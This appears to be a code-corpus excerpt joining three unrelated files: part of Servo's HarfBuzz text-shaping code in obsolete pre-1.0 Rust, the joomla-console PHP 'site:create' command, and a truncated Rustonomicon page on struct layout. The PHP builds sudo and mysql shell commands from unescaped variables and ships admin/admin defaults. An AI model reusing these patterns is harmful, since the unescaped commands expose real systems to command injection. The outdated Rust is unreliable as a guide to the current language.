hb_font_funcs_set_glyph_func(hb_funcs, glyph_func, null(), None); hb_font_funcs_set_glyph_h_advance_func(hb_funcs, glyph_h_advance_func, null(), None); hb_font_set_funcs(hb_font, hb_funcs, font_ptr as *c_void, None); Shaper { font: font, hb_face: hb_face, hb_font: hb_font, hb_funcs: hb_funcs, } } } fn float_to_fixed(f: f64) -> i32 { float_to_fixed(16, f) } fn fixed_to_float(i: hb_position_t) -> f64 { fixed_to_float(16, i) } fn fixed_to_rounded_int(f: hb_position_t) -> int { fixed_to_rounded_int(16, f) } } impl ShaperMethods for Shaper { /// Calculate the layout metrics associated with the given text when rendered in a specific /// font. #[fixed_stack_segment] fn shape_text(&self, text: &str, glyphs: &mut GlyphStore) { unsafe { let hb_buffer: *hb_buffer_t = hb_buffer_create(); hb_buffer_set_direction(hb_buffer, HB_DIRECTION_LTR); // Using as_imm_buf because it never does a copy - we don't need the trailing null do text.as_imm_buf |ctext: *u8, _: uint| { hb_buffer_add_utf8(hb_buffer, ctext as *c_char, text.len() as c_int, 0, text.len() as c_int); } hb_shape(self.hb_font, hb_buffer, null(), 0); self.save_glyph_results(text, glyphs, hb_buffer); hb_buffer_destroy(hb_buffer); } } } impl Shaper { fn save_glyph_results(&self, text: &str, glyphs: &mut GlyphStore, buffer: *hb_buffer_t) { let glyph_data = ShapedGlyphData::new(buffer); let glyph_count = glyph_data.len(); let byte_max = text.len(); let char_max = text.char_len(); // GlyphStore records are indexed by character, not byte offset. // so, we must be careful to increment this when saving glyph entries. let mut char_idx = 0; assert!(glyph_count <= char_max); debug!("Shaped text[char count={:u}], got back {:u} glyph info records.", char_max, glyph_count); if char_max != glyph_count { debug!("NOTE: Since these are not equal, we probably have been given some complex \ glyphs."); } // make map of what chars have glyphs let mut byteToGlyph: ~[i32]; // fast path: all chars are single-byte. if byte_max == char_max { byteToGlyph = vec::from_elem(byte_max, NO_GLYPH); } else { byteToGlyph = vec::from_elem(byte_max, CONTINUATION_BYTE); for (i, _) in text.char_offset_iter() { byteToGlyph[i] = NO_GLYPH; } } debug!("(glyph idx) -> (text byte offset)"); for i in range(0, glyph_data.len()) { // loc refers to a *byte* offset within the utf8 string. let loc = glyph_data.byte_offset_of_glyph(i); if loc < byte_max { assert!(byteToGlyph[loc] != CONTINUATION_BYTE); byteToGlyph[loc] = i as i32; } else { debug!("ERROR: tried to set out of range byteToGlyph: idx={:u}, glyph idx={:u}", loc, i); } debug!("{:u} -> {:u}", i, loc); } debug!("text: {:s}", text); debug!("(char idx): char->(glyph index):"); for (i, ch) in text.char_offset_iter() { debug!("{:u}: {} --> {:d}", i, ch, byteToGlyph[i] as int); } // some helpers let mut glyph_span: Range = Range::empty(); // this span contains first byte of first char, to last byte of last char in range. // so, end() points to first byte of last+1 char, if it's less than byte_max. let mut char_byte_span: Range = Range::empty(); let mut y_pos = Au(0); // main loop over each glyph. each iteration usually processes 1 glyph and 1+ chars. // in cases with complex glyph-character assocations, 2+ glyphs and 1+ chars can be // processed. while glyph_span.begin() < glyph_count { // start by looking at just one glyph. glyph_span.extend_by(1); debug!("Processing glyph at idx={:u}", glyph_span.begin()); let char_byte_start = glyph_data.byte_offset_of_glyph(glyph_span.begin()); char_byte_span.reset(char_byte_start, 0); // find a range of chars corresponding to this glyph, plus // any trailing chars that do not have associated glyphs. while char_byte_span.end() < byte_max { let range = text.char_range_at(char_byte_span.end()); ignore(range.ch); char_byte_span.extend_to(range.next); debug!("Processing char byte span: off={:u}, len={:u} for glyph idx={:u}", char_byte_span.begin(), char_byte_span.length(), glyph_span.begin()); while char_byte_span.end() != byte_max && byteToGlyph[char_byte_span.end()] == NO_GLYPH { debug!("Extending char byte span to include byte offset={:u} with no associated \ glyph", char_byte_span.end()); let range = text.char_range_at(char_byte_span.end()); ignore(range.ch); char_byte_span.extend_to(range.next); } // extend glyph range to max glyph index covered by char_span, // in cases where one char made several glyphs and left some unassociated chars. let mut max_glyph_idx = glyph_span.end(); for i in char_byte_span.eachi() { if byteToGlyph[i] > NO_GLYPH { max_glyph_idx = uint::max(byteToGlyph[i] as uint, max_glyph_idx); } } if max_glyph_idx > glyph_span.end() { glyph_span.extend_to(max_glyph_idx); debug!("Extended glyph span (off={:u}, len={:u}) to cover char byte span's max \ glyph index", glyph_span.begin(), glyph_span.length()); } // if there's just one glyph, then we don't need further checks. if glyph_span.length() == 1 { break; } // if no glyphs were found yet, extend the char byte range more. if glyph_span.length() == 0 { continue; } debug!("Complex (multi-glyph to multi-char) association found. This case \ probably doesn't work."); let mut all_glyphs_are_within_cluster: bool = true; for j in glyph_span.eachi() { let loc = glyph_data.byte_offset_of_glyph(j); if !char_byte_span.contains(loc) { all_glyphs_are_within_cluster = false; break } } debug!("All glyphs within char_byte_span cluster?: {}", all_glyphs_are_within_cluster); // found a valid range; stop extending char_span. if all_glyphs_are_within_cluster { break } } // character/glyph clump must contain characters. assert!(char_byte_span.length() > 0); // character/glyph clump must contain glyphs. assert!(glyph_span.length() > 0); // now char_span is a ligature clump, formed by the glyphs in glyph_span. // we need to find the chars that correspond to actual glyphs (char_extended_span), //and set glyph info for those and empty infos for the chars that are continuations. // a simple example: // chars: 'f' 't' 't' // glyphs: 'ftt' '' '' // cgmap: t f f // gspan: [-] // cspan: [-] // covsp: [---------------] let mut covered_byte_span = char_byte_span.clone(); // extend, clipping at end of text range. while covered_byte_span.end() < byte_max && byteToGlyph[covered_byte_span.end()] == NO_GLYPH { let range = text.char_range_at(covered_byte_span.end()); ignore(range.ch); covered_byte_span.extend_to(range.next); } if covered_byte_span.begin() >= byte_max { // oops, out of range. clip and forget this clump. let end = glyph_span.end(); // FIXME: borrow checker workaround glyph_span.reset(end, 0); let end = char_byte_span.end(); // FIXME: borrow checker workaround char_byte_span.reset(end, 0); } // clamp to end of text. (I don't think this will be necessary, but..) let end = covered_byte_span.end(); // FIXME: borrow checker workaround covered_byte_span.extend_to(uint::min(end, byte_max)); // fast path: 1-to-1 mapping of single char and single glyph. if glyph_span.length() == 1 { // TODO(Issue #214): cluster ranges need to be computed before // shaping, and then consulted here. // for now, just pretend that every character is a cluster start. // (i.e., pretend there are no combining character sequences). // 1-to-1 mapping of character to glyph also treated as ligature start. let shape = glyph_data.get_entry_for_glyph(glyph_span.begin(), &mut y_pos); let data = GlyphData::new(shape.codepoint, shape.advance, shape.offset, false, true, true); glyphs.add_glyph_for_char_index(char_idx, &data); } else { // collect all glyphs to be assigned to the first character. let mut datas = ~[]; for glyph_i in glyph_span.eachi() { let shape = glyph_data.get_entry_for_glyph(glyph_i, &mut y_pos); datas.push(GlyphData::new(shape.codepoint, shape.advance, shape.offset, false, // not missing true, // treat as cluster start glyph_i > glyph_span.begin())); // all but first are ligature continuations } // now add the detailed glyph entry. glyphs.add_glyphs_for_char_index(char_idx, datas); // set the other chars, who have no glyphs let mut i = covered_byte_span.begin(); loop { let range = text.char_range_at(i); ignore(range.ch); i = range.next; if i >= covered_byte_span.end() { break; } char_idx += 1; glyphs.add_nonglyph_for_char_index(char_idx, false, false); } } // shift up our working spans past things we just handled. let end = glyph_span.end(); // FIXME: borrow checker workaround glyph_span.reset(end, 0); let end = char_byte_span.end();; // FIXME: borrow checker workaround char_byte_span.reset(end, 0); char_idx += 1; } // this must be called after adding all glyph data; it sorts the // lookup table for finding detailed glyphs by associated char index. glyphs.finalize_changes(); } } /// Callbacks from Harfbuzz when font map and glyph advance lookup needed. extern fn glyph_func(_: *hb_font_t, font_data: *c_void, unicode: hb_codepoint_t, _: hb_codepoint_t, glyph: *mut hb_codepoint_t, _: *c_void) -> hb_bool_t { let font: *Font = font_data as *Font; assert!(font.is_not_null()); unsafe { match (*font).glyph_index(char::from_u32(unicode).unwrap()) { Some(g) => { *glyph = g as hb_codepoint_t; true as hb_bool_t } None => false as hb_bool_t } } } extern fn glyph_h_advance_func(_: *hb_font_t, font_data: *c_void, glyph: hb_codepoint_t, _: *c_void) -> hb_position_t { let font: *mut Font = font_data as *mut Font; assert!(font.is_not_null()); unsafe { let advance = (*font).glyph_h_advance(glyph as GlyphIndex); Shaper::float_to_fixed(advance) } } // Callback to get a font table out of a font. extern fn get_font_table_func(_: *hb_face_t, tag: hb_tag_t, user_data: *c_void) -> *hb_blob_t { unsafe { let font: *Font = user_data as *Font; assert!(font.is_not_null()); // TODO(Issue #197): reuse font table data, which will change the unsound trickery here. match (*font).get_table_for_tag(tag as FontTableTag) { None => null(), Some(ref font_table) => { let skinny_font_table_ptr: *FontTable = font_table; // private context let mut blob: *hb_blob_t = null(); do (*skinny_font_table_ptr).with_buffer |buf: *u8, len: uint| { // HarfBuzz calls `destroy_blob_func` when the buffer is no longer needed. blob = hb_blob_create(buf as *c_char, len as c_uint, HB_MEMORY_MODE_READONLY, transmute(skinny_font_table_ptr), destroy_blob_func); } assert!(blob.is_not_null()); blob } } } } // TODO(Issue #197): reuse font table data, which will change the unsound trickery here. // In particular, we'll need to cast to a boxed, rather than owned, FontTable. // even better, should cache the harfbuzz blobs directly instead of recreating a lot. extern fn destroy_blob_func(_: *c_void) { // TODO: Previous code here was broken. Rewrite. }
owaspjocur/servo
src/components/gfx/text/shaping/harfbuzz.rs
Rust
mpl-2.0
21,449
<?php /** * @copyright Copyright (C) 2007 - 2014 Johan Janssens and Timble CVBA. (http://www.timble.net) * @license Mozilla Public License, version 2.0 * @link http://github.com/joomlatools/joomla-console for the canonical source repository */ namespace Joomlatools\Console\Command; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; class SiteCreate extends SiteAbstract { /** * File cache * * @var string */ protected static $files; /** * Downloaded Joomla tarball * * @var */ protected $source_tarball; /** * Path to database export in Joomla tarball * * @var */ protected $source_db; /** * Sample data to install * * @var string */ protected $sample_data; /** * Clear cache before fetching versions * @var bool */ protected $clear_cache = false; protected $template; /** * Joomla version to install * * @var string */ protected $version; /** * Projects to symlink * @var array */ protected $symlink = array(); /** * @var Versions */ protected $versions; /** * */ protected function configure() { parent::configure(); if (!self::$files) { self::$files = realpath(__DIR__.'/../../../../bin/.files'); } $this ->setName('site:create') ->setDescription('Create a Joomla site') ->addOption( 'joomla', null, InputOption::VALUE_REQUIRED, "Joomla version. Can be a release number (2, 3.2, ..) or branch name. Run `joomla versions` for a full list.\nUse \"none\" for an empty virtual host.", 'latest' ) ->addOption( 'sample-data', null, InputOption::VALUE_REQUIRED, 'Sample data to install (default|blog|brochure|learn|testing)' ) ->addOption( 'symlink', null, InputOption::VALUE_REQUIRED, 'A comma separated list of folders to symlink from projects folder' ) ->addOption( 'clear-cache', null, InputOption::VALUE_NONE, 'Update the list of available tags and branches from the Joomla repository' ) ->addOption( 'projects-dir', null, InputOption::VALUE_REQUIRED, 'Directory where your custom projects reside', sprintf('%s/Projects', trim(`echo ~`)) ) ->addOption( 'disable-ssl', null, InputOption::VALUE_NONE, 'Disable SSL for this site' ) ->addOption( 'ssl-crt', null, InputOption::VALUE_OPTIONAL, 'The full path to the signed cerfificate file', '/etc/apache2/ssl/server.crt' ) ->addOption( 'ssl-key', null, InputOption::VALUE_OPTIONAL, 'The full path to the private cerfificate file', '/etc/apache2/ssl/server.key' ) ->addOption( 'ssl-port', null, InputOption::VALUE_OPTIONAL, 'The port on which the server will listen for SSL requests', '443' ) ; } protected function execute(InputInterface $input, OutputInterface $output) { parent::execute($input, $output); $this->versions = new Versions(); if ($input->getOption('clear-cache')) { $this->versions->refresh(); } $this->setVersion($input->getOption('joomla')); $this->symlink = $input->getOption('symlink'); if (is_string($this->symlink)) { $this->symlink = explode(',', $this->symlink); } $this->sample_data = $input->getOption('sample-data'); $this->source_db = $this->target_dir.'/installation/sql/mysql/joomla.sql'; $this->check($input, $output); $this->createFolder($input, $output); $this->createDatabase($input, $output); $this->modifyConfiguration($input, $output); $this->addVirtualHost($input, $output); $this->symlinkProjects($input, $output); $this->installExtensions($input, $output); $this->enableWebInstaller($input, $output); if ($this->version) { $output->writeln("Your new Joomla site has been created."); $output->writeln("You can login using the following username and password combination: <info>admin</info>/<info>admin</info>."); } } public function check(InputInterface $input, OutputInterface $output) { if (file_exists($this->target_dir)) { throw new \RuntimeException(sprintf('A site with name %s already exists', $this->site)); } if ($this->version) { $password = empty($this->mysql->password) ? '' : sprintf("-p'%s'", $this->mysql->password); $result = exec(sprintf( "echo 'SHOW DATABASES LIKE \"%s\"' | mysql -u'%s' %s", $this->target_db, $this->mysql->user, $password ) ); if (!empty($result)) { // Table exists throw new \RuntimeException(sprintf('A database with name %s already exists', $this->target_db)); } $this->source_tarball = $this->getTarball($this->version, $output); if(!file_exists($this->source_tarball)) { throw new \RuntimeException(sprintf('File %s does not exist', $this->source_tarball)); } } if ($this->version && $this->sample_data) { if (!in_array($this->sample_data, array('default', 'blog', 'brochure', 'testing', 'learn'))) { throw new \RuntimeException(sprintf('Unknown sample data "%s"', $this->sample_data)); } if(is_numeric(substr($this->version, 0, 1))) { if (in_array($this->sample_data, array('testing', 'learn')) && version_compare($this->version, '3.0.0', '<')) { throw new \RuntimeException(sprintf('%s does not support sample data %s', $this->version, $this->sample_data)); } } } } public function createFolder(InputInterface $input, OutputInterface $output) { `mkdir -p $this->target_dir`; if ($this->version) { `cd $this->target_dir; tar xzf $this->source_tarball --strip 1`; if ($this->versions->isBranch($this->version)) { unlink($this->source_tarball); } } } public function createDatabase() { if (!$this->version) { return; } $password = empty($this->mysql->password) ? '' : sprintf("-p'%s'", $this->mysql->password); $result = exec( sprintf( "echo 'CREATE DATABASE `%s` CHARACTER SET utf8' | mysql -u'%s' %s", $this->target_db, $this->mysql->user, $password ) ); if (!empty($result)) { // MySQL returned an error throw new \RuntimeException(sprintf('Cannot create database %s. Error: %s', $this->target_db, $result)); } $imports = array($this->target_dir.'/installation/sql/mysql/joomla.sql'); $users = 'joomla3.users.sql'; if(is_numeric(substr($this->version, 0, 1)) && version_compare($this->version, '3.0.0', '<')) { $users = 'joomla2.users.sql'; } $imports[] = self::$files.'/'.$users; if ($this->sample_data) { $type = $this->sample_data == 'default' ? 'data' : $this->sample_data; $sample_db = $this->target_dir.'/installation/sql/mysql/sample_' . $type . '.sql'; $imports[] = $sample_db; } foreach($imports as $import) { $contents = file_get_contents($import); $contents = str_replace('#__', 'j_', $contents); file_put_contents($import, $contents); $password = empty($this->mysql->password) ? '' : sprintf("-p'%s'", $this->mysql->password); $result = exec(sprintf("mysql -u'%s' %s %s < %s", $this->mysql->user, $password, $this->target_db, $import)); if (!empty($result)) { // MySQL returned an error throw new \RuntimeException(sprintf('Cannot import database "%s". Error: %s', basename($import), $result)); } } } public function modifyConfiguration() { if (!$this->version) { return; } $source = $this->target_dir.'/installation/configuration.php-dist'; $target = $this->target_dir.'/configuration.php'; $contents = file_get_contents($source); $replace = function($name, $value, &$contents) { $pattern = sprintf("#%s = '.*?'#", $name); $match = preg_match($pattern, $contents); if(!$match) { $pattern = "/^\s?(\})\s?$/m"; $replacement = sprintf("\tpublic \$%s = '%s';\n}", $name, $value); } else $replacement = sprintf("%s = '%s'", $name, $value); $contents = preg_replace($pattern, $replacement, $contents); }; $remove = function($name, &$contents) { $pattern = sprintf("#public \$%s = '.*?'#", $name); $contents = preg_replace($pattern, '', $contents); }; $random = function($length) { $charset ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $string = ''; $count = strlen($charset); while ($length--) { $string .= $charset[mt_rand(0, $count-1)]; } return $string; }; $replacements = array( 'db' => $this->target_db, 'user' => $this->mysql->user, 'password' => $this->mysql->password, 'dbprefix' => 'j_', 'dbtype' => 'mysqli', 'mailer' => 'smtp', 'mailfrom' => 'admin@example.com', 'fromname' => $this->site, 'sendmail' => '/usr/bin/env catchmail', 'smtpauth' => '0', 'smtpuser' => '', 'smtppass' => '', 'smtphost' => 'localhost', 'smtpsecure' => 'none', 'smtpport' => '1025', 'sef' => '1', 'sef_rewrite' => '1', 'unicodeslugs' => '1', 'debug' => '1', 'lifetime' => '600', 'tmp_path' => $this->target_dir.'/tmp', 'log_path' => $this->target_dir.'/logs', 'sitename' => $this->site, 'secret' => $random(16) ); foreach($replacements as $key => $value) { $replace($key, $value, $contents); } $remove('root_user', $contents); file_put_contents($target, $contents); chmod($target, 0644); `mv $this->target_dir/installation $this->target_dir/_installation`; `cp $this->target_dir/htaccess.txt $this->target_dir/.htaccess`; } public function addVirtualHost(InputInterface $input, OutputInterface $output) { if (is_dir('/etc/apache2/sites-available')) { $tmp = self::$files.'/.vhost.tmp'; $template = file_get_contents(self::$files.'/vhost.conf'); file_put_contents($tmp, sprintf($template, $this->site)); if (!$input->getOption('disable-ssl')) { $ssl_crt = $input->getOption('ssl-crt'); $ssl_key = $input->getOption('ssl-key'); $ssl_port = $input->getOption('ssl-port'); if (file_exists($ssl_crt) && file_exists($ssl_key)) { $template = "\n\n" . file_get_contents(self::$files . '/vhost.ssl.conf'); file_put_contents($tmp, sprintf($template, $ssl_port, $this->site, $ssl_crt, $ssl_key), FILE_APPEND); } else $output->writeln('<comment>SSL was not enabled for the site. One or more certificate files are missing.</comment>'); } `sudo tee /etc/apache2/sites-available/1-$this->site.conf < $tmp`; `sudo a2ensite 1-$this->site.conf`; `sudo /etc/init.d/apache2 restart > /dev/null 2>&1`; @unlink($tmp); } } public function symlinkProjects(InputInterface $input, OutputInterface $output) { if ($this->symlink) { $symlink_input = new ArrayInput(array( 'site:symlink', 'site' => $input->getArgument('site'), 'symlink' => $this->symlink, '--www' => $this->www, '--projects-dir' => $input->getOption('projects-dir') )); $symlink = new ExtensionSymlink(); $symlink->run($symlink_input, $output); } } public function installExtensions(InputInterface $input, OutputInterface $output) { if ($this->symlink) { $extension_input = new ArrayInput(array( 'extension:install', 'site' => $input->getArgument('site'), 'extension' => $this->symlink, '--www' => $this->www )); $installer = new ExtensionInstall(); $installer->run($extension_input, $output); } } public function enableWebInstaller(InputInterface $input, OutputInterface $output) { if(!$this->version || version_compare($this->version, '3.2.0', '<')) { return; } $xml = simplexml_load_file('http://appscdn.joomla.org/webapps/jedapps/webinstaller.xml'); if(!$xml) { $output->writeln('<warning>Failed to install web installer</warning>'); return; } $url = ''; foreach($xml->update->downloads->children() as $download) { $attributes = $download->attributes(); if($attributes->type == 'full' && $attributes->format == 'zip') { $url = (string) $download; break; } } if(empty($url)) { return; } $filename = self::$files.'/cache/'.basename($url); if(!file_exists($filename)) { $bytes = file_put_contents($filename, fopen($url, 'r')); if($bytes === false || $bytes == 0) { return; } } `mkdir -p $this->target_dir/plugins/installer`; `cd $this->target_dir/plugins/installer/ && unzip -o $filename`; $sql = "INSERT INTO `j_extensions` (`name`, `type`, `element`, `folder`, `enabled`, `access`, `manifest_cache`) VALUES ('plg_installer_webinstaller', 'plugin', 'webinstaller', 'installer', 1, 1, '{\"name\":\"plg_installer_webinstaller\",\"type\":\"plugin\",\"version\":\"".$xml->update->version."\",\"description\":\"Web Installer\"}');"; $sql = escapeshellarg($sql); $password = empty($this->mysql->password) ? '' : sprintf("-p'%s'", $this->mysql->password); exec(sprintf("mysql -u'%s' %s %s -e %s", $this->mysql->user, $password, $this->target_db, $sql)); } public function setVersion($version) { $result = $version; if (strtolower($version) === 'latest') { $result = $this->versions->getLatestRelease(); } else { $length = strlen($version); $format = is_numeric($version) || preg_match('/^\d\.\d+$/im', $version); if ( ($length == 1 || $length == 3) && $format) { $result = $this->versions->getLatestRelease($version); if($result == '0.0.0') { $result = $version.($length == 1 ? '.0.0' : '.0'); } } } $this->version = $result; } public function getTarball($version, OutputInterface $output) { $tar = $this->version.'.tar.gz'; $cache = self::$files.'/cache/'.$tar; if(file_exists($cache) && !$this->versions->isBranch($this->version)) { return $cache; } if ($this->versions->isBranch($version)) { $url = 'http://github.com/joomla/joomla-cms/tarball/'.$version; } else { $url = 'https://github.com/joomla/joomla-cms/archive/'.$version.'.tar.gz'; } $output->writeln("<info>Downloading Joomla $this->version - this could take a few minutes...</info>"); $bytes = file_put_contents($cache, fopen($url, 'r')); if ($bytes === false || $bytes == 0) { throw new \RuntimeException(sprintf('Failed to download %s', $url)); } return $cache; } }
gokuale/joomla-console
src/Joomlatools/Console/Command/SiteCreate.php
PHP
mpl-2.0
17,494
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="generator" content="rustdoc"> <title>repr(Rust)</title> <link rel="stylesheet" type="text/css" href="rustbook.css"> </head> <body class="rustdoc"> <!--[if lte IE 8]> <div class="warning"> This old browser is unsupported and will most likely display funky things. </div> <![endif]--> <div id="nav"> <button id="toggle-nav"> <span class="sr-only">Toggle navigation</span> <span class="bar"></span> <span class="bar"></span> <span class="bar"></span> </button> </div> <div id='toc' class='mobile-hidden'> <ul class='chapter'> <li><a href='README.html'><b>1.</b> Introduction</a> </li> <li><a href='meet-safe-and-unsafe.html'><b>2.</b> Meet Safe and Unsafe</a> <ul class='section'> <li><a href='safe-unsafe-meaning.html'><b>2.1.</b> How Safe and Unsafe Interact</a> </li> <li><a href='working-with-unsafe.html'><b>2.2.</b> Working with Unsafe</a> </li> </ul> </li> <li><a href='data.html'><b>3.</b> Data Layout</a> <ul class='section'> <li><a class='active' href='repr-rust.html'><b>3.1.</b> repr(Rust)</a> </li> <li><a href='exotic-sizes.html'><b>3.2.</b> Exotically Sized Types</a> </li> <li><a href='other-reprs.html'><b>3.3.</b> Other reprs</a> </li> </ul> </li> <li><a href='ownership.html'><b>4.</b> Ownership</a> <ul class='section'> <li><a href='references.html'><b>4.1.</b> References</a> </li> <li><a href='lifetimes.html'><b>4.2.</b> Lifetimes</a> </li> <li><a href='lifetime-mismatch.html'><b>4.3.</b> Limits of Lifetimes</a> </li> <li><a href='lifetime-elision.html'><b>4.4.</b> Lifetime Elision</a> </li> <li><a href='unbounded-lifetimes.html'><b>4.5.</b> Unbounded Lifetimes</a> </li> <li><a href='hrtb.html'><b>4.6.</b> Higher-Rank Trait Bounds</a> </li> <li><a href='subtyping.html'><b>4.7.</b> Subtyping and Variance</a> </li> <li><a href='dropck.html'><b>4.8.</b> Drop Check</a> </li> <li><a href='phantom-data.html'><b>4.9.</b> PhantomData</a> </li> <li><a href='borrow-splitting.html'><b>4.10.</b> Splitting Borrows</a> </li> </ul> </li> <li><a href='conversions.html'><b>5.</b> Type Conversions</a> <ul class='section'> <li><a href='coercions.html'><b>5.1.</b> Coercions</a> </li> <li><a href='dot-operator.html'><b>5.2.</b> The Dot Operator</a> </li> <li><a href='casts.html'><b>5.3.</b> Casts</a> </li> <li><a href='transmutes.html'><b>5.4.</b> Transmutes</a> </li> </ul> </li> <li><a href='uninitialized.html'><b>6.</b> Uninitialized Memory</a> <ul class='section'> <li><a href='checked-uninit.html'><b>6.1.</b> Checked</a> </li> <li><a href='drop-flags.html'><b>6.2.</b> Drop Flags</a> </li> <li><a href='unchecked-uninit.html'><b>6.3.</b> Unchecked</a> </li> </ul> </li> <li><a href='obrm.html'><b>7.</b> Ownership Based Resource Management</a> <ul class='section'> <li><a href='constructors.html'><b>7.1.</b> Constructors</a> </li> <li><a href='destructors.html'><b>7.2.</b> Destructors</a> </li> <li><a href='leaking.html'><b>7.3.</b> Leaking</a> </li> </ul> </li> <li><a href='unwinding.html'><b>8.</b> Unwinding</a> <ul class='section'> <li><a href='exception-safety.html'><b>8.1.</b> Exception Safety</a> </li> <li><a href='poisoning.html'><b>8.2.</b> Poisoning</a> </li> </ul> </li> <li><a href='concurrency.html'><b>9.</b> Concurrency</a> <ul class='section'> <li><a href='races.html'><b>9.1.</b> Races</a> </li> <li><a href='send-and-sync.html'><b>9.2.</b> Send and Sync</a> </li> <li><a href='atomics.html'><b>9.3.</b> Atomics</a> </li> </ul> </li> <li><a href='vec.html'><b>10.</b> Implementing Vec</a> <ul class='section'> <li><a href='vec-layout.html'><b>10.1.</b> Layout</a> </li> <li><a href='vec-alloc.html'><b>10.2.</b> Allocating</a> </li> <li><a href='vec-push-pop.html'><b>10.3.</b> Push and Pop</a> </li> <li><a href='vec-dealloc.html'><b>10.4.</b> Deallocating</a> </li> <li><a href='vec-deref.html'><b>10.5.</b> Deref</a> </li> <li><a href='vec-insert-remove.html'><b>10.6.</b> Insert and Remove</a> </li> <li><a href='vec-into-iter.html'><b>10.7.</b> IntoIter</a> </li> <li><a href='vec-raw.html'><b>10.8.</b> RawVec</a> </li> <li><a href='vec-drain.html'><b>10.9.</b> Drain</a> </li> <li><a href='vec-zsts.html'><b>10.10.</b> Handling Zero-Sized Types</a> </li> <li><a href='vec-final.html'><b>10.11.</b> Final Code</a> </li> </ul> </li> <li><a href='arc-and-mutex.html'><b>11.</b> Implementing Arc and Mutex</a> </li> </ul> </div> <div id='page-wrapper'> <div id='page'> <h1 class="title">repr(Rust)</h1> <p>First and foremost, all types have an alignment specified in bytes. The alignment of a type specifies what addresses are valid to store the value at. A value of alignment <code>n</code> must only be stored at an address that is a multiple of <code>n</code>. So alignment 2 means you must be stored at an even address, and 1 means that you can be stored anywhere. Alignment is at least 1, and always a power of 2. Most primitives are generally aligned to their size, although this is platform-specific behavior. In particular, on x86 <code>u64</code> and <code>f64</code> may be only aligned to 32 bits.</p> <p>A type&#39;s size must always be a multiple of its alignment. This ensures that an array of that type may always be indexed by offsetting by a multiple of its size. Note that the size and alignment of a type may not be known statically in the case of <a href="exotic-sizes.html#dynamically-sized-types-dsts">dynamically sized types</a>.</p> <p>Rust gives you the following ways to lay out composite data:</p> <ul> <li>structs (named product types)</li> <li>tuples (anonymous product types)</li> <li>arrays (homogeneous product types)</li> <li>enums (named sum types -- tagged unions)</li> </ul> <p>An enum is said to be <em>C-like</em> if none of its variants have associated data.</p> <p>Composite structures will have an alignment equal to the maximum of their fields&#39; alignment. Rust will consequently insert padding where necessary to ensure that all fields are properly aligned and that the overall type&#39;s size is a multiple of its alignment. For instance:</p> <span class='rusttest'>fn main() { struct A { a: u8, b: u32, c: u16, } }</span><pre class='rust rust-example-rendered'> <span class='kw'>struct</span> <span class='ident'>A</span> { <span class='ident'>a</span>: <span class='ident'>u8</span>, <span class='ident'>b</span>: <span class='ident'>u32</span>, <span class='ident'>c</span>: <span class='ident'>u16</span>, }</pre> <p>will be 32-bit aligned on an architecture that aligns these primitives to their respective sizes. The whole struct will therefore have a size that is a multiple of 32-bits. It will potentially become:</p> <span class='rusttest'>fn main() { struct A { a: u8, _pad1: [u8; 3], // to align `b` b: u32, c: u16, _pad2: [u8; 2], // to make overall size multiple of 4 } }</span><pre class='rust rust-example-rendered'> <span class='kw'>struct</span> <span class='ident'>A</span> { <span class='ident'>a</span>: <span class='ident'>u8</span>, <span class='ident'>_pad1</span>: [<span class='ident'>u8</span>; <span class='number'>3</span>], <span class='comment'>// to align `b`</span> <span class='ident'>b</span>: <span class='ident'>u32</span>, <span class='ident'>c</span>: <span class='ident'>u16</span>, <span class='ident'>_pad2</span>: [<span class='ident'>u8</span>; <span class='number'>2</span>], <span class='comment'>// to make overall size multiple of 4</span> }</pre> <p>There is <em>no indirection</em> for these types; all data is stored within the struct, as you would expect in C. However with the exception of arrays (which are densely packed and in-order), the layout of data is not by default specified in Rust. Given the two following struct definitions:</p> <span class='rusttest'>fn main() { struct A { a: i32, b: u64, } struct B { a: i32, b: u64, } }</span><pre class='rust rust-example-rendered'> <span class='kw'>struct</span> <span class='ident'>A</span> { <span class='ident'>a</span>: <span class='ident'>i32</span>, <span class='ident'>b</span>: <span class='ident'>u64</span>, } <span class='kw'>struct</span> <span class='ident'>B</span> { <span class='ident'>a</span>: <span class='ident'>i32</span>, <span class='ident'>b</span>: <span class='ident'>u64</span>, }</pre> <p>Rust <em>does</em> guarantee that two instances of A have their data laid out in exactly the same way. However Rust <em>does not</em> currently guarantee that an instance of A has the same field ordering or padding as an instance of B, though in practice there&#39;s no reason why they wouldn&#39;t.</p> <p>With A and B as written, this point would seem to be pedantic, but several other features of Rust make it desirable for the language to play with data layout in complex ways.</p> <p>For instance, consider this struct:</p> <span class='rusttest'>fn main() { struct Foo&lt;T, U&gt; { count: u16, data1: T, data2: U, } }</span><pre class='rust rust-example-rendered'> <span class='kw'>struct</span> <span class='ident'>Foo</span><span class='op'>&lt;</span><span class='ident'>T</span>, <span class='ident'>U</span><span class='op'>&gt;</span> { <span class='ident'>count</span>: <span class='ident'>u16</span>, <span class='ident'>data1</span>: <span class='ident'>T</span>, <span class='ident'>data2</span>: <span class='ident'>U</span>, }</pre> <p>Now consider the monomorphizations of <code>Foo&lt;u32, u16&gt;</code> and <code>Foo&lt;u16, u32&gt;</code>. If Rust lays out the fields in the order specified, we expect it to pad the values in the struct to satisfy their alignment requirements. So if Rust didn&#39;t reorder fields, we would expect it to produce the following:</p> <span class='rusttest'>fn main() { struct Foo&lt;u16, u32&gt; { count: u16, data1: u16, data2: u32, } struct Foo&lt;u32, u16&gt; { count: u16, _pad1: u16, data1: u32, data2: u16, _pad2: u16, } }</span><pre class='rust rust-example-rendered'> <span class='kw'>struct</span> <span class='ident'>Foo</span><span class='op'>&lt;</span><span class='ident'>u16</span>, <span class='ident'>u32</span><span class='op'>&gt;</span> { <span class='ident'>count</span>: <span class='ident'>u16</span>, <span class='ident'>data1</span>: <span class='ident'>u16</span>, <span class='ident'>data2</span>: <span class='ident'>u32</span>, } <span class='kw'>struct</span> <span class='ident'>Foo</span><span class='op'>&lt;</span><span class='ident'>u32</span>, <span class='ident'>u16</span><span class='op'>&gt;</span> { <span class='ident'>count</span>: <span class='ident'>u16</span>, <span class='ident'>_pad1</span>: <span class='ident'>u16</span>, <span class='ident'>data1</span>: <span class='ident'>u32</span>, <span class='ident'>data2</span>: <span class='ident'>u16</span>, <span 